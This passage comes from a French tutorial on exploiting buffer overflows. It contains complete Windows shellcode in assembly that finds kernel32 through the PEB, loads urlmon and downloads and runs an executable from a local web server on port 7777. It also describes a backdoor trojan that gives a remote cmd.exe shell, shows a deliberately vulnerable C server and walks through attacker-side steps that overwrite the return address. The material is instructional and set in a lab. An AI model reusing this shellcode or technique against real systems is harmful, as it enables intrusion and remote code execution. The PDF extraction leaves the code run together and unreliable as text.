    MyGetProcAddress PROCsub esp, 10h ; Reserve space for localsmov eax, dword ptr [esp+14h]mov esi, dword ptr [eax+3ch]add esi, eax ; esi = @ of 'PE' signaturemov esi, dword ptr [esi+78h]add esi, eax ; esi = @ of exported directory

    mov edx, dword ptr [esi+20h]add edx, eax ; edx = @ of functions name array

    mov edi, dword ptr [esi+14h] ; ecx = Number of exported functionsmov dword ptr [esp+0Ch], edi

    mov edi, dword ptr [esi+1Ch]

    add edi, eax ; edi = @ of functions address arraymov dword ptr [esp+08h], edi

    mov edi, dword ptr [esi+24h]add edi, eax ; edi = @ of functions ordinal arraymov dword ptr [esp+04h], edi

    xor ebx, ebx ; ebx = function indexxor ecx, ecx ; ecx = NULL

    search_func_loop:mov esi, dword ptr [edx+4*ebx]add esi, eax ; esi = next function name

    check_name_loop:

    mov edi, dword ptr [esp+18h]cmp dword ptr [esi], edi ; Compare start of name with registerje function_foundinc esicmp byte ptr [esi], cljne check_name_loop

    end_check_name_loop:inc ebx ; End of function namecmp ebx, dword ptr [esp+0Ch]jne search_func_loop ; Still some function to checkxor eax, eaxjmp exit_my_get_proc_address ; End of dll check, the function was not found

    function_found: ; Gotcha !mov edi, dword ptr [esp+04h] ; Get @ of functions ordinal array

    xor edx, edxmov dx,word ptr [edi+ebx*2]

    mov edi, dword ptr [esp+08h] ; Get @ of functions address arrayadd eax, dword ptr [edi+edx*4]

    exit_my_get_proc_address:add esp, 10hret ; End of my_get_proc_address (! dont't remove the

    2 parameters)MyGetProcAddress ENDP

    ; ====================================; Part 1:; Reserve space for locals;; ====================================startBuffer:; Save stack and reserve some space for functions @

    mov ebp, esp ; Save stack

  • 7/23/2019 Dmonstration buffer overflow

    33/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 33 -

    sub esp, SPACETORESERVE ; Reserve space for functions @

    ; ====================================; Part 2:; Get address of kernel32.dll;; ====================================

    push 30h ; Evite un accs fs:[30] qui est cod 30000000

    pop eaxASSUME fs:NOTHINGmov edx, fs:[eax] ; edx = @ of PEB (7FFDF000h)ASSUME fs:ERROR

    xor eax, eax ; clean eaxmov edx, dword ptr [edx+0Ch] ; edx = @ of PROCESS_MODULE_INFOmov edx, dword ptr [edx+1Ch] ; edx = @ of first element in ModuleListInitOrder

    (mov edx, dword ptr [edx+0Ch] in ModuleListLoadOrder)mov ecx, edx ; Save @ of element in ecx

    search_kernell32_dll_loop:mov esi, dword ptr [edx+20h] ; Read @ of dll name in init order list (mov esi,

    dword ptr [edx+30h] in load order list)mov ebx, dword ptr [esi]

    or ebx, 61206120h ; ebx = ToLower(ebx) + replace 0 by 'a'

    cmp ebx, 'aeak' ; cmp ebx aeakjne continue_search_kernell32_dll_loopmov eax, dword ptr [edx+08h] ; Read @ of kernel in init order list (mov edx,

    dword ptr [edx+18h] in load order list)jmp end_search_kernell32_dll_loop

    continue_search_kernell32_dll_loop:mov edx, dword ptr [edx]cmp edx, ecxjne search_kernell32_dll_loop

    end_search_kernell32_dll_loop:IF MYPROPERCODE

    cmp eax, 0je RestoreStackENDIFIF MYDEBUG

    PrintHex eaxENDIF

    mov [ebp-K32ADDOFF], eax ; Save kernel32.dll address

    ; ====================================; Part 3:; Get address of LoadLibrary;; ====================================; Get address of LoadLibrary

    push 'Ldao'

    push dword ptr [ebp-4]call MyGetProcAddress

    IF MYPROPERCODEcmp eax, 0je RestoreStack

    ENDIFIF MYDEBUG

    PrintHex eaxENDIF

    mov [ebp-LDLIBADDOFF], eax ; Save LoadLibrary address

    ; ====================================; Part 4:; Load urlmon.dll, get address of URLDownloadToFileA;; ====================================; Load urlmon.dll

    xor eax, eaxadd ax, 6C6Chpush eax

  • 7/23/2019 Dmonstration buffer overflow

    34/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 34 -

    push 'd.no'push 'mlru'push espcall dword ptr [ebp-LDLIBADDOFF]add esp, 0Ch

    IF MYPROPERCODEcmp eax, 0je RestoreStack

    ENDIFIF MYDEBUGPrintHex eax

    ENDIFmov [ebp-UM32ADDOFF], eax ; Save urlmon.dll address

    ; Get address of URLDownloadToFileApush 'liFo'push dword ptr [ebp-UM32ADDOFF]call MyGetProcAddress

    IF MYPROPERCODEcmp eax, 0je RestoreStack

    ENDIFIF MYDEBUG

    PrintHex eaxENDIF

    ; ====================================; Part 5:; Download a remote file;; ====================================IF MYDEBUG

    PrintText "DEBUG: Downloading remote file"ENDIF

    ; Create data for file namepush 65h

    push 'xe.a'mov esi, espmov dword ptr [ebp-FILENAMEOFF], esi

    ; Create data for URLxor ebx, ebx ; EBX = 0 = NULLpush ebxpush '/777' ; 777/push '7:10' ; 01:7push '0.00' ; 00.0push '0.00' ; 00.0push '0.72' ; 27.0push '1//:' ; ://1push 'ptth' ; httpmov edi, esp

    ; Call URLDownloadToFileApush ebxpush ebxpush esipush edipush ebxcall eax

    IF MYPROPERCODE; XXX Don't make this test since returned value nerver equal to S_OK ( == 0); cmp eax, S_OK; jne RestoreStackENDIFIF MYDEBUG

    PrintText "DEBUG: URLDownloadToFileA successfull"ENDIF

    ; ====================================; Part 5:; Execute downloaded file

  • 7/23/2019 Dmonstration buffer overflow

    35/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 35 -

    ;; ====================================; Get address of WinExec

    push 'EniW'push dword ptr [ebp-K32ADDOFF]call MyGetProcAddress

    IF MYPROPERCODEcmp eax, 0

    je RestoreStackENDIFIF MYDEBUG

    PrintHex eaxENDIFIF MYDEBUG

    PrintText "DEBUG: Executing shellcode"ENDIF

    push SW_SHOWpush dword ptr [ebp-FILENAMEOFF]call eax

    IF MYPROPERCODEcmp eax, 31jle RestoreStack

    ENDIF

    IF MYDEBUGPrintText "DEBUG: WinExec successfull"

    ENDIF

    IF MYEXTRACTBUFFERLABELendValue db "BBBB"ENDIF

    ; ====================================; Part 6:; Clean everything;; ====================================

    ; restore stackRestoreStack:IF MYPROPERCODE

    mov esp, ebp ; Restore stackENDIFExit:IF MYDEBUG

    PrintText "DEBUG: Fin du programme"ENDIF

    invoke ExitProcess, NULLend start

    Quelques remarques :

    Les variables MY sont utilises pour le debug :o MYDEBUG = Active les traces.o MYBREAK = Ajoute un point darrt au dbut du shellcodeo MYPROPERCODE = Ajoute les tests de retour de fonctiono MYEXTRACTBUFFERLABEL = Ajouter les octets AAAA et BBBB qui dlimitent le shellcode pour

    sont extraction automatique. Lutilisation dune fonction MyGetProcAddress apporte plusieurs amliorations :

    o Ce code remplace le code de recherche de GetProcAdress (trs proche). La diffrence de taille estminime

    o Cela permet dutiliser des recherche sur 4 octets et non un nom de fonction parfois trs long.

    Le reste du code est suffisamment comment et se passe dexplications supplmentaires.

    Ce code est utilis conjointement avec trois outils : SHELLCODE_EXTRACT : Cest un petit programme qui parcours lexcutable shellcode compil et extrait les

    octets situ entre les chaines AAAA et BBBB

  • 7/23/2019 Dmonstration buffer overflow

    36/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 36 -

    SHELLCODE_SERVER : Cest une programme qui simule un serveur web en coute sur le port 7777. Cestlui qui recevra la requte envoye par UrlDownloadToFile. Il propose alors lutilisateur de choisirlexcutable tlcharger parmi une liste.

    BACKDOOR : Cest le programme tlcharg puis excut que nous utiliserons. Cest un petit cheval deTroie qui se met en coute sur le port 6666 puis redirige vers un cmd.exe les commandes que lon lui envoie.

    Leur utilisation sera prsente par la suite.

    Gnration de shellcode.pm.

    Sur le poste attaquant :1- Allez dans WINDOWS\ SHELLCODE_BUILDER2- Ouvrez shellcode_downloadfile.asm avec QEDITOR (dans masm 8)3- Assemblez et linkez. Masm gnre alors shellcode_downloadfile.exe.4- Executez shellcode_extract.exe5- Un fichier shellcode.pm contenant le shellcode est alors gnr.6- Copiez ce fichier dans INJECTER

    Exploitation dun stack overflow : crasement de ladresse de retour.

    Plate-forme de test.Pour les tests, la plate-forme suivante sera utilise :

    Programme vulnrable

    Description

    Le service a exploiter, nomm dans la suite VULN_SERVER_BUFFER_OVERFLOW , est un simple serveur quicoute sur le port 8080. Aprs connexion, il accepte un certain nombre de commandes , envoyes suivant le format :[command][SPACE][data]Voici la liste des commandes :

    command data RsultatUSER username Renvoi le message : Welcome to ghorg0re/3ey's server [username] EXIT - Renvoi le message : Goodbye...

    Autre - Renvoi le message : Unknow command

    On suppose le serveur directement connect Internet, sans lusage de firewall. Cette hypothse qui semble fortimprobable na en ralit que trs peu dimpact sur cette tude. Lvolution vers un cas plus raliste dun serveuraccessible seulement par le port 8080 est relativement rapide.

    Code du serveur

    Voici le code du service exploiter :#include #include

    #define bzero(a) memset(a,0,sizeof(a))#define BUFFER_SIZE 400

    #define MSG_GOODBYE "Goodbye...\r\n"#define MSG_UKN_COMM "Unknow command\r\n"#define LST_PORT 8080

    Attaquant : Windows XP192.168.1.2

    Serveur : Windows XP192.168.1.1

  • 7/23/2019 Dmonstration buffer overflow

    37/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 37 -

    /* ===============================================Function InitializeServer

    Goal:Open a listenning socket or port LST_PORT

    Parameter:-

    Return value:SUCCESS = return client socketFAILED = INVALID_SOCKET

    =============================================== */

    SOCKET InitializeServer(VOID){

    WORD version = MAKEWORD(1,1);WSADATA wsaData;SOCKET listeningSocket=0;

    printf("TRACE: Initialising server...\n");

    // Initialize wsock2WSAStartup(version, &wsaData);

    // Create listenning socketif ((listeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) ==

    INVALID_SOCKET)return NULL;

    // Fill SOCKADDR_INSOCKADDR_IN saServer;

    saServer.sin_family = AF_INET;saServer.sin_addr.s_addr = INADDR_ANY;saServer.sin_port = htons(LST_PORT);

    // Bind socket to portif (bind(listeningSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr)) ==

    SOCKET_ERROR)return NULL;

    // Listenif (listen(listeningSocket, 1) == SOCKET_ERROR)

    return NULL;

    printf("TRACE: Waiting for connection on port %d...\n", LST_PORT);return accept(listeningSocket, NULL, NULL);

    }

    /* ===============================================

    Function vulnFunc

    Goal:Send a welcome string to client

    Parameter:SOCKET clientSocket = the client socketchar *msg = the message sent by client

    Return value:SUCCESS = 0FAILED = -1

    =============================================== */

    int vulnFunc(SOCKET clientSocket, char *msg){

    char answer[BUFFER_SIZE];char *p;int i;

  • 7/23/2019 Dmonstration buffer overflow

    38/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 38 -

    bzero(answer);p=msg;i=0;

    while((msg[i] != ' ') && (i

  • 7/23/2019 Dmonstration buffer overflow

    39/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 39 -

    {return -1;

    }}else{

    // Renvoi le message "Unknow command"if(send(clientSocket, MSG_UKN_COMM, strlen(MSG_UKN_COMM), 0) ==

    SOCKET_ERROR) {return -1;

    }}

    bzero(szBuffer);}

    // Cleanclosesocket(clientSocket);WSACleanup();printf("TRACE: End of program vuln_server_buffer_overflow\n");printf("Press Enter to close this window\n");getchar();

    return 0;}

    Test du serveur

    Sur le serveur.

    1- Allez dans le rpertoire VULN_SERVER_BUFFER_OVERFLOW_VC62- Ouvrez VULN_SERVER_BUFFER_OVERFLOW_VC6.dsw avec Visual C++ 6.03- Compilez et lancez le serveur.

    Sur la machine attaquante.

    1- Allez dans le rpertoire INJECTER

    2- Modifiez le fichier de configuration windows_stack_overflow_testsrv.conf pour quil reflte larchitecture :SERVER_ADDR=192.168.1.1SERVER_PORT=8080

    BUFFER=USER BLACKMOON:1BUFFER=COMMAND_INVALID:1BUFFER=EXIT:1

    Voici le rsultat :injecter.pl -f windows_stack_overflow_testsrv.conf

    -==================================--= injecter.pl =--= =--= ghorg0re/3ey's exploit tools =-

    -= =--= Autor: ghorg0re/3ey =--= Version: 1.06 =--= Date: 17/05/2004 =--==================================---------------------------------------------------Packet number 0

    Data to send:"USER BLACKMOON"Sending Data...Data received:"Welcome to ghorg0re/3ey's server BLACKMOON"----------------------------------------------------------------------------------------------------

    Packet number 1

    Data to send:"COMMAND_INVALID"Sending Data...Data received:"Unknow command"

  • 7/23/2019 Dmonstration buffer overflow

    40/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 40 -

    ----------------------------------------------------------------------------------------------------Packet number 2

    Data to send:"EXIT"Sending Data...Data received:"Goodbye..."

    --------------------------------------------------

    Cas de la compilation sous Visual C++ 6.0

    Dans cette partie, le serveur est compil par Visual C++ 6.0 avec loption /GZ

    Description de loption /GZ

    Loption /GZ introduit dans le code un certains nombre de vrifications des registres et la mmoire.

    Voici le dbut et la fin du code dsassembl de la fonction vulnFunc avec et sans loption /GZ :

    Sans option /GZ Avec option /GZ00401170 push ebp00401171 mov ebp,esp00401173 sub esp,1D8h00401179 push ebx0040117A push esi0040117B push edi...

    00401170 push ebp00401171 mov ebp,esp00401173 sub esp,1D8h00401179 push ebx0040117A push esi0040117B push edi0040117C lea edi,[ebp-1D8h]00401182 mov ecx,76h00401187 mov eax,0CCCCCCCCh0040118C rep stos dword ptr [edi]...

    ...00401239 pop edi0040123A pop esi0040123B pop ebx

    0040123C mov esp,ebp0040123E pop ebp0040123F ret

    ...0040124B pop edi0040124C pop esi0040124D pop ebx

    0040124E add esp,1D8h00401254 cmp ebp,esp00401256 call __chkesp (00401680)0040125B mov esp,ebp0040125D pop ebp0040125E ret

    On constate tout dabord que dans les deux cas, lespace rserv est systmatiquement suprieur celui demand :472 octets rservs alors que seulement 408 taient demands !On peut penser une protection off-by-one, cependant en analysant le code, on constate que la pile lalluresuivante (adresses hautes en haut) :

    @ retourebp

    answer

    *pI

    ???

    ebxesiedi

    Lespace rserv en trop est situ en dessous des variables : Laccs answer se fait par exemple par :

    400 octets

    64 octets

  • 7/23/2019 Dmonstration buffer overflow

    41/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 41 -

    00401195 lea eax,[ebp-190h]

    Avec 190h=400, on constate donc quil ny a donc aucune protection off-by-one. Si le programme dborde dun octetde answer, ebp va tre cras. Merci de ne pas me demander lintrt des 64 octets rserv en plus

    Dans le cas de loption /GZ : Linitialisation de la zone temporaire avec des 0xCC (code de linstruction int 3) permet de traiter certains

    cas de mauvaise utilisation qui conduirait executer du code dans la pile. En sortie, comparaison de esp et ebp et appel de __chkesp. Voici le code de cette fonction :__chkesp:00401680 jne __chkesp+3 (00401683)00401682 ret00401683 push ebp00401684 mov ebp,esp00401686 sub esp,000401689 push eax0040168A push edx0040168B push ebx0040168C push esi0040168D push edi0040168E push offset string "The value of ESP was not properl"... (00420210)

    00401693 push offset string "" (0042020c)00401698 push 2Ah0040169A push offset string "i386\\chkesp.c" (004201fc)0040169F push 1004016A1 call _CrtDbgReport (00402f70)004016A6 add esp,14h004016A9 cmp eax,1004016AC jne __chkesp+2Fh (004016af)004016AE int 3004016AF pop edi004016B0 pop esi004016B1 pop ebx004016B2 pop edx004016B3 pop eax004016B4 mov esp,ebp

    004016B6 pop ebp004016B7 ret

    En fait, il sagit dune simple comparaison de esp et ebp. Sils sont diffrents, le programme sarrte. Cetteprotection traite typiquement les cas o le pointeur esp aurait t mal restaur par une fonction appele dansvulnFunc() et serait dcal par rapport sa valeur dorigine.

    Cette courte parenthse nous montre que loption /GZ relve plus de la validation anti-bug que dune scurit anti-stack overflow .

    Analyse du code du serveur

    Analysons le code du serveur, notamment celui de la fonction vulnFunc. On constate lusage de la fonction sprintf pour effectuer une copie du buffer msg (les donnes reues par le client) vers answer , le buffer local utiliserpour renvoyer la rponse au client.Les deux buffers ont bien la mme taille BUFFER_SIZE , mais ce qui a t oubli, cest que aux donnes clientsont ajouts 35 (33+2) octets : la chane Welcome to ghorg0re/3ey's server et le \r\n .Si les donnes dorigine sont donc dune taille suprieure BUFFER_SIZE-35, des zones mmoires vont commencer tre crases.

    Effectuons le test avec le fichier de configuration suivant :SERVER_ADDR=192.168.1.1SERVER_PORT=8080

    BUFFER=USER :1|A:395

    Le serveur plante avec eip=0x41414141. Le buffer overflow est donc bien exploitable.

    Quelques tests permettent de dterminer que le serveur plante partir dun taille de username>365( = strlen("Welcome to ghorg0re/3ey's server"+strlen("\r\n"))).

  • 7/23/2019 Dmonstration buffer overflow

    42/59

    -= Ghorg0re/3ey : Dmonstrations pratiques de buffer overflows =-

    - 42 -

    Voici ltat de la pile au moment du ret dans vulnFunc en fonction des diffrentes tailles de username.

    data ebp @return datatest 1 0\n\rA XX XX XX XX XX XX XX XX XX XX XX XXtest 2 \n\rAA XX XX XX 00 XX XX XX XX XX XX XX XXtest 3 AAAA AAAA YY YY YY YY XX 0\n\r

    Les X reprsentent les donnes non corrompues. La ligne 1 prsente le cas length(username) = 365. La copie sarrte juste avant dcraser ebp. La ligne 2 prsente le cas length(username) = 366. La copie crase un octet de ebp. Lexcution va se

    poursuivre dans main car @ret nest pas modifie. Par contre le contexte ne pourra tre restaur dans main.Le premier accs une variable locale dans main conduira un accs mmoire alatoire est doncventuellement un plantage.

    La ligne 3 prsente ce que nous souhaiterions : ladresse de retour est corrompue par une adresse que nousavons choisie. Pour arriver dans un tel tat, on voit que la taille du username doit tre de 375.

    On envoie un buffer form par le fichier de configu